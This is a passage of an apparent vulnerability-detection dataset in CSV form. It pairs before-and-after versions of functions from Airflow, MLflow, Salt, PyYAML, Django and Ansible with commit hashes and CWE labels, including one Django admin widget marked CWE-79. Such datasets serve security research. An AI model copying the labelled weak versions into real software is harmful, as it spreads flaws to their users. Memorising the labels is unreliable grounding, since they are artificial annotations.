!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

     ACTION NEEDED! PLEASE READ THIS CAREFULLY AND CORRECT TESTS CAREFULLY

 Some fields were added to the BaseOperator! Please add them to the list above and make sure that
 you add support for DAG serialization - you should add the field to
 `airflow/serialization/schema.json` - they should have correct type defined there.

 Note that we do not support versioning yet so you should only add optional fields to BaseOperator.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
                         """"""",CWE-703,apache/airflow,694826d1bd0a1593e676deed862519fac73266a4,"def test_no_new_fields_added_to_base_operator(self):
        """"""
        This test verifies that there are no new fields added to BaseOperator. And reminds that
        tests should be added for it.
        """"""
        base_operator = BaseOperator(task_id=""10"")
        fields = {k: v for (k, v) in vars(base_operator).items() if k in BaseOperator.get_serialized_fields()}
        assert fields == {
            ""_logger_name"": None,
            ""_log_config_logger_name"": ""airflow.task.operators"",
            ""_post_execute_hook"": None,
            ""_pre_execute_hook"": None,
            ""depends_on_past"": False,
            ""do_xcom_push"": True,
            ""doc"": None,
            ""doc_json"": None,
            ""doc_md"": None,
            ""doc_rst"": None,
            ""doc_yaml"": None,
            ""downstream_task_ids"": set(),
            ""email"": None,
            ""email_on_failure"": True,
            ""email_on_retry"": True,
            ""execution_timeout"": None,
            ""executor_config"": {},
            ""ignore_first_depends_on_past"": True,
            ""inlets"": [],
            ""map_index_template"": None,
            ""max_active_tis_per_dag"": None,
            ""max_active_tis_per_dagrun"": None,
            ""max_retry_delay"": None,
            ""on_execute_callback"": None,
            ""on_failure_callback"": None,
            ""on_retry_callback"": None,
            ""on_skipped_callback"": None,
            ""on_success_callback"": None,
            ""outlets"": [],
            ""owner"": ""airflow"",
            ""params"": {},
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 1,
            ""queue"": ""default"",
            ""resources"": None,
            ""retries"": 0,
            ""retry_delay"": timedelta(0, 300),
            ""retry_exponential_backoff"": False,
            ""run_as_user"": None,
            ""sla"": None,
            ""task_id"": ""10"",
            ""trigger_rule"": ""all_success"",
            ""wait_for_downstream"": False,
            ""wait_for_past_depends_before_skipping"": False,
            ""weight_rule"": _DownstreamPriorityWeightStrategy(),
            ""multiple_outputs"": False,
        }, """"""
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

     ACTION NEEDED! PLEASE READ THIS CAREFULLY AND CORRECT TESTS CAREFULLY

 Some fields were added to the BaseOperator! Please add them to the list above and make sure that
 you add support for DAG serialization - you should add the field to
 `airflow/serialization/schema.json` - they should have correct type defined there.

 Note that we do not support versioning yet so you should only add optional fields to BaseOperator.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
                         """""""
,UNKNOWN,UNKNOWN,tests/utils/test_logging_utils.py,1,"def test_logging_level(log_level: str, expected: bool) -> None:
    random_str = str(uuid.uuid4())
    stdout = subprocess.check_output(
        [
            sys.executable,
            ""-c"",
            f""from mlflow.utils.logging_utils import _debug; _debug({random_str!r})"",
        ],
        env=os.environ.copy() | {""MLFLOW_LOGGING_LEVEL"": log_level},
        stderr=subprocess.STDOUT,
        text=True,
    )

    assert (random_str in stdout) is expected",CWE-703,mlflow/mlflow,a44b5e13147776bbfd9854a9396f2113afb4b89f,"def test_logging_level(log_level: str, expected: bool) -> None:
    random_str = str(uuid.uuid4())
    stdout = subprocess.check_output(
        [
            sys.executable,
            ""-c"",
            f""from mlflow.utils.logging_utils import _debug; _debug({random_str!r})"",
        ],
        env=os.environ.copy() | {""MLFLOW_LOGGING_LEVEL"": log_level},
        stderr=subprocess.STDOUT,
        text=True,
    )

    assert (random_str in stdout) is expected"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_nftables.py,1,"def test_build_rule():
    """"""
    Test if it build a well-formatted nftables rule based on kwargs.
    """"""
    assert nftables.build_rule(full=""True"") == {
        ""result"": False,
        ""rule"": """",
        ""comment"": ""Table needs to be specified"",
    }

    assert nftables.build_rule(table=""filter"", full=""True"") == {
        ""result"": False,
        ""rule"": """",
        ""comment"": ""Chain needs to be specified"",
    }

    assert nftables.build_rule(table=""filter"", chain=""input"", full=""True"") == {
        ""result"": False,
        ""rule"": """",
        ""comment"": ""Command needs to be specified"",
    }

    assert nftables.build_rule(
        table=""filter"",
        chain=""input"",
        command=""insert"",
        position=""3"",
        full=""True"",
    ) == {
        ""result"": True,
        ""rule"": ""nft insert rule ip filter input position 3 "",
        ""comment"": ""Successfully built rule"",
    }

    assert nftables.build_rule(
        table=""filter"", chain=""input"", command=""insert"", full=""True""
    ) == {
        ""result"": True,
        ""rule"": ""nft insert rule ip filter input "",
        ""comment"": ""Successfully built rule"",
    }

    assert nftables.build_rule(
        table=""filter"", chain=""input"", command=""halt"", full=""True""
    ) == {
        ""result"": True,
        ""rule"": ""nft halt rule ip filter input "",
        ""comment"": ""Successfully built rule"",
    }

    assert nftables.build_rule(
        table=""filter"",
        chain=""input"",
        command=""insert"",
        position=""3"",
        full=""True"",
        connstate=""related,established"",
        saddr=""10.0.0.1"",
        daddr=""10.0.0.2"",
        jump=""accept"",
    ) == {
        ""result"": True,
        ""rule"": (
            ""nft insert rule ip filter input position 3 ct state {""
            "" related,established } ip saddr 10.0.0.1 ip daddr 10.0.0.2 accept""
        ),
        ""comment"": ""Successfully built rule"",
    }

    assert nftables.build_rule(
        table=""filter"",
        chain=""input"",
        family=""ip6"",
        command=""insert"",
        position=""3"",
        full=""True"",
        connstate=""related,established"",
        saddr=""::/0"",
        daddr=""fe80:cafe::1"",
        jump=""accept"",
    ) == {
        ""result"": True,
        ""rule"": (
            ""nft insert rule ip6 filter input position 3 ct state {""
            "" related,established } ip6 saddr ::/0 ip6 daddr fe80:cafe::1 accept""
        ),
        ""comment"": ""Successfully built rule"",
    }

    assert nftables.build_rule() == {""result"": True, ""rule"": """", ""comment"": """"}",CWE-703,saltstack/salt,9e16ab47e03477ba0d3941296fd57d30ee27c7a2,"def test_build_rule():
    """"""
    Test if it build a well-formatted nftables rule based on kwargs.
    """"""
    assert nftables.build_rule(full=""True"") == {
        ""result"": False,
        ""rule"": """",
        ""comment"": ""Table needs to be specified"",
    }

    assert nftables.build_rule(table=""filter"", full=""True"") == {
        ""result"": False,
        ""rule"": """",
        ""comment"": ""Chain needs to be specified"",
    }

    assert nftables.build_rule(table=""filter"", chain=""input"", full=""True"") == {
        ""result"": False,
        ""rule"": """",
        ""comment"": ""Command needs to be specified"",
    }

    assert nftables.build_rule(
        table=""filter"",
        chain=""input"",
        command=""insert"",
        position=""3"",
        full=""True"",
    ) == {
        ""result"": True,
        ""rule"": ""nft insert rule ip filter input position 3 "",
        ""comment"": ""Successfully built rule"",
    }

    assert nftables.build_rule(
        table=""filter"", chain=""input"", command=""insert"", full=""True""
    ) == {
        ""result"": True,
        ""rule"": ""nft insert rule ip filter input "",
        ""comment"": ""Successfully built rule"",
    }

    assert nftables.build_rule(
        table=""filter"", chain=""input"", command=""halt"", full=""True""
    ) == {
        ""result"": True,
        ""rule"": ""nft halt rule ip filter input "",
        ""comment"": ""Successfully built rule"",
    }

    assert nftables.build_rule(
        table=""filter"",
        chain=""input"",
        command=""insert"",
        position=""3"",
        full=""True"",
        connstate=""related,established"",
        saddr=""10.0.0.1"",
        daddr=""10.0.0.2"",
        jump=""accept"",
    ) == {
        ""result"": True,
        ""rule"": (
            ""nft insert rule ip filter input position 3 ct state {""
            "" related,established } ip saddr 10.0.0.1 ip daddr 10.0.0.2 accept""
        ),
        ""comment"": ""Successfully built rule"",
    }

    assert nftables.build_rule() == {""result"": True, ""rule"": """", ""comment"": """"}"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/schedule.py,0,"def add(name, **kwargs):
    '''
    Add a job to the schedule

    CLI Example:

    .. code-block:: bash

        salt '*' schedule.add job1 function='test.ping' seconds=3600
        # If function have some arguments, use job_args
        salt '*' schedule.add job2 function='cmd.run' job_args=""['date >> /tmp/date.log']"" seconds=60
    '''

    ret = {'comment': [],
           'result': True}

    current_schedule = __opts__['schedule'].copy()
    if 'schedule' in __pillar__:
        current_schedule.update(__pillar__['schedule'])

    if name in current_schedule:
        ret['comment'] = 'Job {0} already exists in schedule.'.format(name)
        ret['result'] = False
        return ret

    if not name:
        ret['comment'] = 'Job name is required.'
        ret['result'] = False

    time_conflict = False
    for item in ['seconds', 'minutes', 'hours', 'days']:
        if item in kwargs and 'when' in kwargs:
            time_conflict = True
        if item in kwargs and 'cron' in kwargs:
            time_conflict = True

    if time_conflict:
        ret['result'] = False
        ret['comment'] = 'Error: Unable to use ""seconds"", ""minutes"", ""hours"", or ""days"" with ""when"" or ""cron"" options.'
        return ret

    if 'when' in kwargs and 'cron' in kwargs:
        ret['result'] = False
        ret['comment'] = 'Unable to use ""when"" and ""cron"" options together.  Ignoring.'
        return ret

    _new = build_schedule_item(name, **kwargs)

    schedule = {}
    schedule[name] = _new

    if 'test' in kwargs and kwargs['test']:
        ret['comment'] = 'Job: {0} would be added to schedule.'.format(name)
    else:
        out = __salt__['event.fire']({'name': name, 'schedule': schedule, 'func': 'add'}, 'manage_schedule')
        if out:
            ret['comment'] = 'Added job: {0} to schedule.'.format(name)
        else:
            ret['comment'] = 'Failed to modify job {0} to schedule.'.format(name)
            ret['result'] = False
    return ret",,saltstack/salt,bc2414bc4d7ebe40fc57f34b1c7182f74414db01,"def add(name, **kwargs):
    '''
    Add a job to the schedule

    CLI Example:

    .. code-block:: bash

        salt '*' schedule.add job1 function='test.ping' seconds=3600
        # If function have some arguments, use job_args
        salt '*' schedule.add job2 function='cmd.run' job_args=['date >> /tmp/date.log'] seconds=60
    '''

    ret = {'comment': [],
           'result': True}

    current_schedule = __opts__['schedule'].copy()
    if 'schedule' in __pillar__:
        current_schedule.update(__pillar__['schedule'])

    if name in current_schedule:
        ret['comment'] = 'Job {0} already exists in schedule.'.format(name)
        ret['result'] = False
        return ret

    if not name:
        ret['comment'] = 'Job name is required.'
        ret['result'] = False

    time_conflict = False
    for item in ['seconds', 'minutes', 'hours', 'days']:
        if item in kwargs and 'when' in kwargs:
            time_conflict = True
        if item in kwargs and 'cron' in kwargs:
            time_conflict = True

    if time_conflict:
        ret['result'] = False
        ret['comment'] = 'Error: Unable to use ""seconds"", ""minutes"", ""hours"", or ""days"" with ""when"" or ""cron"" options.'
        return ret

    if 'when' in kwargs and 'cron' in kwargs:
        ret['result'] = False
        ret['comment'] = 'Unable to use ""when"" and ""cron"" options together.  Ignoring.'
        return ret

    _new = build_schedule_item(name, **kwargs)

    schedule = {}
    schedule[name] = _new

    if 'test' in kwargs and kwargs['test']:
        ret['comment'] = 'Job: {0} would be added to schedule.'.format(name)
    else:
        out = __salt__['event.fire']({'name': name, 'schedule': schedule, 'func': 'add'}, 'manage_schedule')
        if out:
            ret['comment'] = 'Added job: {0} to schedule.'.format(name)
        else:
            ret['comment'] = 'Failed to modify job {0} to schedule.'.format(name)
            ret['result'] = False
    return ret"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/hooks/test_ec2.py,1,"def test_get_instance(self):
        ec2_hook = EC2Hook()
        created_instance_id = self._create_instance(ec2_hook)
        # test get_instance method
        existing_instance = ec2_hook.get_instance(instance_id=created_instance_id)
        assert created_instance_id == existing_instance.instance_id",CWE-703,apache/airflow,ab835c20b2e9bce8311d906d223ecca5e0f85627,"def test_get_instance(self):
        ec2_hook = EC2Hook()
        created_instance_id = self._create_instance(ec2_hook)
        # test get_instance method
        existing_instance = ec2_hook.get_instance(instance_id=created_instance_id)
        assert created_instance_id == existing_instance.instance_id"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/states/pkg.py,0,"def _find_install_targets(name=None, version=None, pkgs=None, sources=None):
    '''
    Inspect the arguments to pkg.installed and discover what packages need to
    be installed. Return a dict of desired packages
    '''
    if all((pkgs, sources)):
        return {'name': name,
                'changes': {},
                'result': False,
                'comment': 'Only one of ""pkgs"" and ""sources"" is permitted.'}

    cur_pkgs = __salt__['pkg.list_pkgs'](versions_as_list=True)
    if any((pkgs, sources)):
        if pkgs:
            desired = __salt__['pkg_resource.pack_pkgs'](pkgs)
        elif sources:
            desired = __salt__['pkg_resource.pack_sources'](sources)

        if not desired:
            # Badly-formatted SLS
            return {'name': name,
                    'changes': {},
                    'result': False,
                    'comment': 'Invalidly formatted ""{0}"" parameter. See '
                               'minion log.'.format('pkgs' if pkgs
                                                    else 'sources')}

    else:
        if salt.utils.is_windows():
            pkginfo = _get_package_info(name)
            if not pkginfo:
                return {'name': name,
                        'changes': {},
                        'result': False,
                        'comment': 'Package {0} not found in the '
                                   'repository.'.format(name)}
            if version is None:
                version = _get_latest_pkg_version(pkginfo)
        desired = {name: version}

        cver = cur_pkgs.get(name, [])
        if version and version in cver:
            # The package is installed and is the correct version
            return {'name': name,
                    'changes': {},
                    'result': True,
                    'comment': ('Version {0} of package ""{1}"" is already '
                                'installed').format(version, name)}

        # if cver is not an empty string, the package is already installed
        elif cver and version is None:
            # The package is installed
            return {'name': name,
                    'changes': {},
                    'result': True,
                    'comment': 'Package {0} is already installed'.format(name)}

    version_spec = False
    # Find out which packages will be targeted in the call to pkg.install
    if sources:
        targets = [x for x in desired if x not in cur_pkgs]
    else:
        problems = __salt__['pkg_resource.check_desired'](desired)
        if problems:
            return {'name': name,
                    'changes': {},
                    'result': False,
                    'comment': ' '.join(problems)}
        # Check current versions against desired versions
        targets = {}
        problems = []
        for pkgname, pkgver in desired.iteritems():
            cver = cur_pkgs.get(pkgname, [])
            # Package not yet installed, so add to targets
            if not cver:
                targets[pkgname] = pkgver
                continue
            # No version specified and pkg is installed, do not add to targets
            elif pkgver is None:
                continue
            version_spec = True
            match = re.match('^([<>])?(=)?([^<>=]+)$', pkgver)
            if not match:
                msg = 'Invalid version specification ""{0}"" for package ' \
                      '""{1}"".'.format(pkgver, pkgname)
                problems.append(msg)
            else:
                gt_lt, eq, verstr = match.groups()
                comparison = gt_lt or ''
                comparison += eq or ''
                # A comparison operator of ""="" is redundant, but possible.
                # Change it to ""=="" so that it works in pkg.compare.
                if comparison in ['=', '']:
                    comparison = '=='
                if not _fulfills_version_spec(cver, comparison, verstr) or \
                   not __salt__['pkg_resource.check_extra_requirements'](pkgname, pkgver):
                    # Current version did not match desired, add to targets
                    targets[pkgname] = pkgver

        if problems:
            return {'name': name,
                    'changes': {},
                    'result': False,
                    'comment': ' '.join(problems)}

    if not targets:
        # All specified packages are installed
        msg = 'All specified packages are already installed{0}.'.format(
            ' and are at the desired version' if version_spec else '')
        return {'name': name,
                'changes': {},
                'result': True,
                'comment': msg}

    return desired, targets",,saltstack/salt,4f7be154aecfa0d44f9b7b0f7968b4f7c811516f,"def _find_install_targets(name=None, version=None, pkgs=None, sources=None):
    '''
    Inspect the arguments to pkg.installed and discover what packages need to
    be installed. Return a dict of desired packages
    '''
    if all((pkgs, sources)):
        return {'name': name,
                'changes': {},
                'result': False,
                'comment': 'Only one of ""pkgs"" and ""sources"" is permitted.'}

    cur_pkgs = __salt__['pkg.list_pkgs'](versions_as_list=True)
    if any((pkgs, sources)):
        if pkgs:
            desired = __salt__['pkg_resource.pack_pkgs'](pkgs)
        elif sources:
            desired = __salt__['pkg_resource.pack_sources'](sources)

        if not desired:
            # Badly-formatted SLS
            return {'name': name,
                    'changes': {},
                    'result': False,
                    'comment': 'Invalidly formatted ""{0}"" parameter. See '
                               'minion log.'.format('pkgs' if pkgs
                                                    else 'sources')}

    else:
        if salt.utils.is_windows():
            pkginfo = _get_package_info(name)
            if not pkginfo:
                return {'name': name,
                        'changes': {},
                        'result': False,
                        'comment': 'Package {0} not found in the '
                                   'repository.'.format(name)}
            if version is None:
                version = _get_latest_pkg_version(pkginfo)
        desired = {name: version}

        cver = cur_pkgs.get(name, [])
        if version and version in cver:
            # The package is installed and is the correct version
            return {'name': name,
                    'changes': {},
                    'result': True,
                    'comment': ('Version {0} of package ""{1}"" is already '
                                'installed').format(version, name)}

        # if cver is not an empty string, the package is already installed
        elif cver and version is None:
            # The package is installed
            return {'name': name,
                    'changes': {},
                    'result': True,
                    'comment': 'Package {0} is already installed'.format(name)}

    version_spec = False
    # Find out which packages will be targeted in the call to pkg.install
    if sources:
        targets = [x for x in desired if x not in cur_pkgs]
    else:
        problems = __salt__['pkg_resource.check_desired'](desired)
        if problems:
            return {'name': name,
                    'changes': {},
                    'result': False,
                    'comment': ' '.join(problems)}
        # Check current versions against desired versions
        targets = {}
        problems = []
        for pkgname, pkgver in desired.iteritems():
            cver = cur_pkgs.get(pkgname, [])
            # Package not yet installed, so add to targets
            if not cver:
                targets[pkgname] = pkgver
                continue
            # No version specified and pkg is installed, do not add to targets
            elif pkgver is None:
                continue
            version_spec = True
            match = re.match('^~?([<>])?(=)?([^<>=]+)$', pkgver)
            if not match:
                msg = 'Invalid version specification ""{0}"" for package ' \
                      '""{1}"".'.format(pkgver, pkgname)
                problems.append(msg)
            else:
                gt_lt, eq, verstr = match.groups()
                comparison = gt_lt or ''
                comparison += eq or ''
                # A comparison operator of ""="" is redundant, but possible.
                # Change it to ""=="" so that it works in pkg.compare.
                if comparison in ['=', '']:
                    comparison = '=='
                if not _fulfills_version_spec(cver, comparison, verstr) or \
                   not __salt__['pkg_resource.check_extra_requirements'](pkgname, pkgver):
                    # Current version did not match desired, add to targets
                    targets[pkgname] = pkgver

        if problems:
            return {'name': name,
                    'changes': {},
                    'result': False,
                    'comment': ' '.join(problems)}

    if not targets:
        # All specified packages are installed
        msg = 'All specified packages are already installed{0}.'.format(
            ' and are at the desired version' if version_spec else '')
        return {'name': name,
                'changes': {},
                'result': True,
                'comment': msg}

    return desired, targets"
,UNKNOWN,UNKNOWN,tests/pytests/functional/utils/test_path.py,1,"def junction(tmp_path):
    """"""
    Create a directory and a junction to that directory.
    """"""
    target = tmp_path / ""tgt_junction""
    target.mkdir()
    assert target.is_dir()
    junction = tmp_path / ""junction""
    cmd = [""cmd"", ""/c"", ""mklink"", ""/j"", str(junction), str(target)]
    subprocess.run(
        cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=True
    )
    assert not junction.is_symlink()
    assert junction.is_dir()
    yield junction",CWE-703,saltstack/salt,e5bf72b2c44b3440e5af5bd9e75d3f9fe0af77f4,"def junction(tmp_path):
    """"""
    Create a directory and a junction to that directory.
    """"""
    target = tmp_path / ""tgt_junction""
    target.mkdir()
    assert target.is_dir()
    junction = tmp_path / ""junction""
    cmd = [""cmd"", ""/c"", ""mklink"", ""/j"", str(junction), str(target)]
    subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    assert not junction.is_symlink()
    assert junction.is_dir()
    yield junction"
functions_for_yaml_with_cwe.csv,UNKNOWN,UNKNOWN,lib3/yaml/scanner.py,0,"def unwind_indent(self, column):

        ## In flow context, tokens should respect indentation.
        ## Actually the condition should be `self.indent >= column` according to
        ## the spec. But this condition will prohibit intuitively correct
        ## constructions such as
        ## key : {
        ## }
        #if self.flow_level and self.indent > column:
        #    raise ScannerError(None, None,
        #            ""invalid indentation or unclosed '[' or '{'"",
        #            self.get_mark())

        # In the flow context, indentation is ignored. We make the scanner less
        # restrictive then specification requires.
        if self.flow_level:
            return

        # In block context, we may need to issue the BLOCK-END tokens.
        while self.indent > column:
            mark = self.get_mark()
            self.indent = self.indents.pop()
            self.tokens.append(BlockEndToken(mark, mark))",,yaml/pyyaml,eb459f842f690f809b649726f0a317909a92a29c,"def unwind_indent(self, column):

        ## In flow context, tokens should respect indentation.
        ## Actually the condition should be `self.indent >= column` according to
        ## the spec. But this condition will prohibit intuitively correct
        ## constructions such as
        ## key : {
        ## }
        #if self.flow_level and self.indent > column:
        #    raise ScannerError(None, None,
        #            ""invalid intendation or unclosed '[' or '{'"",
        #            self.get_mark())

        # In the flow context, indentation is ignored. We make the scanner less
        # restrictive then specification requires.
        if self.flow_level:
            return

        # In block context, we may need to issue the BLOCK-END tokens.
        while self.indent > column:
            mark = self.get_mark()
            self.indent = self.indents.pop()
            self.tokens.append(BlockEndToken(mark, mark))"
,UNKNOWN,UNKNOWN,kubernetes_tests/test_kubernetes_pod_operator_backcompat.py,1,"def test_image_pull_secrets_correctly_set(self, mock_client, monitor_mock, start_mock):
        fake_pull_secrets = ""fakeSecret""
        k = KubernetesPodOperator(
            namespace='default',
            image=""ubuntu:16.04"",
            cmds=[""bash"", ""-cx""],
            arguments=[""echo 10""],
            labels={""foo"": ""bar""},
            name=""test"",
            task_id=""task"",
            in_cluster=False,
            do_xcom_push=False,
            image_pull_secrets=fake_pull_secrets,
            cluster_context='default',
        )
        monitor_mock.return_value = (State.SUCCESS, None, None)
        context = create_context(k)
        k.execute(context=context)
        assert start_mock.call_args[0][0].spec.image_pull_secrets == [
            k8s.V1LocalObjectReference(name=fake_pull_secrets)
        ]",CWE-703,apache/airflow,e32f22a1f791018fd2573eb66958a11a94414b65,"def test_image_pull_secrets_correctly_set(self, mock_client, monitor_mock, start_mock):
        fake_pull_secrets = ""fakeSecret""
        k = KubernetesPodOperator(
            namespace='default',
            image=""ubuntu:16.04"",
            cmds=[""bash"", ""-cx""],
            arguments=[""echo 10""],
            labels={""foo"": ""bar""},
            name=""test"",
            task_id=""task"",
            in_cluster=False,
            do_xcom_push=False,
            image_pull_secrets=fake_pull_secrets,
            cluster_context='default',
        )
        monitor_mock.return_value = (State.SUCCESS, None)
        context = create_context(k)
        k.execute(context=context)
        assert start_mock.call_args[0][0].spec.image_pull_secrets == [
            k8s.V1LocalObjectReference(name=fake_pull_secrets)
        ]"
,UNKNOWN,UNKNOWN,tests/core/test_configuration.py,1,"def test_case_sensitivity(self):
        # section and key are case insensitive for get method
        # note: this is not the case for as_dict method
        assert conf.get(""core"", ""percent"") == ""with%inside""
        assert conf.get(""core"", ""PERCENT"") == ""with%inside""
        assert conf.get(""CORE"", ""PERCENT"") == ""with%inside""",CWE-703,apache/airflow,24b11c9950e994dc6ee7e893bb2f30b5b04c8c26,"def test_case_sensitivity(self):
        # section and key are case insensitive for get method
        # note: this is not the case for as_dict method
        assert conf.get(""core"", ""percent"") == ""with%inside""
        assert conf.get(""core"", ""PERCENT"") == ""with%inside""
        assert conf.get(""CORE"", ""PERCENT"") == ""with%inside"""
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/cli/salt.py,0,"def _print_returns_summary(self, ret):
        '''
        Display returns summary
        '''
        return_counter = 0
        not_return_counter = 0
        not_return_minions = []
        not_response_minions = []
        not_connected_minions = []
        for each_minion in ret:
            minion_ret = ret[each_minion].get('ret')
            if (
                    isinstance(minion_ret, string_types)
                    and minion_ret.startswith(""Minion did not return"")
                    ):
                if ""Not connected"" in ret[each_minion]:
                    not_connected_minions.append(each_minion)
                elif ""No response"" in ret[each_minion]:
                    not_response_minions.append(each_minion)
                not_return_counter += 1
                not_return_minions.append(each_minion)
            else:
                return_counter += 1
        print_cli('\n')
        print_cli('-------------------------------------------')
        print_cli('Summary')
        print_cli('-------------------------------------------')
        print_cli('# of minions targeted: {0}'.format(return_counter + not_return_counter))
        print_cli('# of minions returned: {0}'.format(return_counter))
        print_cli('# of minions that did not return: {0}'.format(not_return_counter))
        if self.options.verbose:
            if not_connected_minions:
                print_cli('Minions not connected: {0}'.format("" "".join(not_connected_minions)))
            if not_response_minions:
                print_cli('Minions not responding: {0}'.format("" "".join(not_response_minions)))
        print_cli('-------------------------------------------')",,saltstack/salt,31878fb038f1379648274780518034d55c0a9e59,"def _print_returns_summary(self, ret):
        '''
        Display returns summary
        '''
        return_counter = 0
        not_return_counter = 0
        not_return_minions = []
        not_response_minions = []
        not_connected_minions = []
        for each_minion in ret:
            minion_ret = ret[each_minion]
            if (
                    isinstance(minion_ret, string_types)
                    and minion_ret.startswith(""Minion did not return"")
                    ):
                if ""Not connected"" in ret[each_minion]:
                    not_connected_minions.append(each_minion)
                elif ""No response"" in ret[each_minion]:
                    not_response_minions.append(each_minion)
                not_return_counter += 1
                not_return_minions.append(each_minion)
            else:
                return_counter += 1
        print_cli('\n')
        print_cli('-------------------------------------------')
        print_cli('Summary')
        print_cli('-------------------------------------------')
        print_cli('# of minions targeted: {0}'.format(return_counter + not_return_counter))
        print_cli('# of minions returned: {0}'.format(return_counter))
        print_cli('# of minions that did not return: {0}'.format(not_return_counter))
        if self.options.verbose:
            if not_connected_minions:
                print_cli('Minions not connected: {0}'.format("" "".join(not_connected_minions)))
            if not_response_minions:
                print_cli('Minions not responding: {0}'.format("" "".join(not_response_minions)))
        print_cli('-------------------------------------------')"
,UNKNOWN,UNKNOWN,django/contrib/admin/widgets.py,1,"def render(self, name, value, attrs=None):
        related_url = '../../../%s/%s/' % (self.rel.to._meta.app_label, self.rel.to._meta.object_name.lower())
        if self.rel.limit_choices_to:
            url = '?' + '&amp;'.join(['%s=%s' % (k, v) for k, v in self.rel.limit_choices_to.items()])
        else:
            url = ''
        if not attrs.has_key('class'):
          attrs['class'] = 'vForeignKeyRawIdAdminField' # The JavaScript looks for this hook.
        output = [super(ForeignKeyRawIdWidget, self).render(name, value, attrs)]
        # TODO: ""id_"" is hard-coded here. This should instead use the correct
        # API to determine the ID dynamically.
        output.append('<a href=""%s%s"" class=""related-lookup"" id=""lookup_id_%s"" onclick=""return showRelatedObjectLookupPopup(this);""> ' % \
            (related_url, url, name))
        output.append('<img src=""%simg/admin/selector-search.gif"" width=""16"" height=""16"" alt=""%s"" /></a>' % (settings.ADMIN_MEDIA_PREFIX, _('Lookup')))
        if value:
            output.append(self.label_for_value(value))
        return mark_safe(u''.join(output))",CWE-79,django/django,0c66bac4f3d6464f315353aea3de928c8bb5459f,"def render(self, name, value, attrs=None):
        related_url = '../../../%s/%s/' % (self.rel.to._meta.app_label, self.rel.to._meta.object_name.lower())
        if self.rel.limit_choices_to:
            url = '?' + '&amp;'.join(['%s=%s' % (k, v) for k, v in self.rel.limit_choices_to.items()])
        else:
            url = ''
        if not attrs.has_key('class'):
          attrs['class'] = 'vForeignKeyRawIdAdminField' # The JavaScript looks for this hook.
        output = [super(ForeignKeyRawIdWidget, self).render(name, value, attrs)]
        # TODO: ""id_"" is hard-coded here. This should instead use the correct
        # API to determine the ID dynamically.
        output.append('<a href=""%s%s"" class=""related-lookup"" id=""lookup_id_%s"" onclick=""return showRelatedObjectLookupPopup(this);""> ' % \
            (related_url, url, name))
        output.append('<img src=""%simg/admin/selector-search.gif"" width=""16"" height=""16"" alt=""Lookup"" /></a>' % settings.ADMIN_MEDIA_PREFIX)
        if value:
            output.append(self.label_for_value(value))
        return mark_safe(u''.join(output))"
,UNKNOWN,UNKNOWN,lib/ansible/module_utils/urls.py,1,"def http_request(self, req):
        tmp_ca_cert_path, paths_checked = self.get_ca_certs()
        https_proxy = os.environ.get('https_proxy')
        context = None
        if HAS_SSLCONTEXT:
            context = self._make_context(tmp_ca_cert_path)

        # Detect if 'no_proxy' environment variable is set and if our URL is included
        use_proxy = self.detect_no_proxy(req.get_full_url())

        if not use_proxy:
            try:
                # cleanup the temp file created, don't worry
                # if it fails for some reason
                os.remove(tmp_ca_cert_path)
            except:
                pass
            
            # ignore proxy settings for this host request
            return req

        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            if https_proxy:
                proxy_parts = generic_urlparse(urlparse.urlparse(https_proxy))
                port = proxy_parts.get('port') or 443
                s.connect((proxy_parts.get('hostname'), port))
                if proxy_parts.get('scheme') == 'http':
                    s.sendall(self.CONNECT_COMMAND % (self.hostname, self.port))
                    if proxy_parts.get('username'):
                        credentials = ""%s:%s"" % (proxy_parts.get('username',''), proxy_parts.get('password',''))
                        s.sendall('Proxy-Authorization: Basic %s\r\n' % credentials.encode('base64').strip())
                    s.sendall('\r\n')
                    connect_result = s.recv(4096)
                    self.validate_proxy_response(connect_result)
                    if context:
                        ssl_s = context.wrap_socket(s, server_hostname=self.hostname)
                    elif HAS_URLLIB3_SNI_SUPPORT:
                        ssl_s = ssl_wrap_socket(s, ca_certs=tmp_ca_cert_path, cert_reqs=ssl.CERT_REQUIRED, ssl_version=PROTOCOL, server_hostname=self.hostname)
                    else:
                        ssl_s = ssl.wrap_socket(s, ca_certs=tmp_ca_cert_path, cert_reqs=ssl.CERT_REQUIRED, ssl_version=PROTOCOL)
                        match_hostname(ssl_s.getpeercert(), self.hostname)
                else:
                    raise ProxyError('Unsupported proxy scheme: %s. Currently ansible only supports HTTP proxies.' % proxy_parts.get('scheme'))
            else:
                s.connect((self.hostname, self.port))
                if context:
                    ssl_s = context.wrap_socket(s, server_hostname=self.hostname)
                elif HAS_URLLIB3_SNI_SUPPORT:
                    ssl_s = ssl_wrap_socket(s, ca_certs=tmp_ca_cert_path, cert_reqs=ssl.CERT_REQUIRED, ssl_version=PROTOCOL, server_hostname=self.hostname)
                else:
                    ssl_s = ssl.wrap_socket(s, ca_certs=tmp_ca_cert_path, cert_reqs=ssl.CERT_REQUIRED, ssl_version=PROTOCOL)
                    match_hostname(ssl_s.getpeercert(), self.hostname)
            # close the ssl connection
            #ssl_s.unwrap()
            s.close()
        except (ssl.SSLError, socket.error):
            e = get_exception()
            # fail if we tried all of the certs but none worked
            if 'connection refused' in str(e).lower():
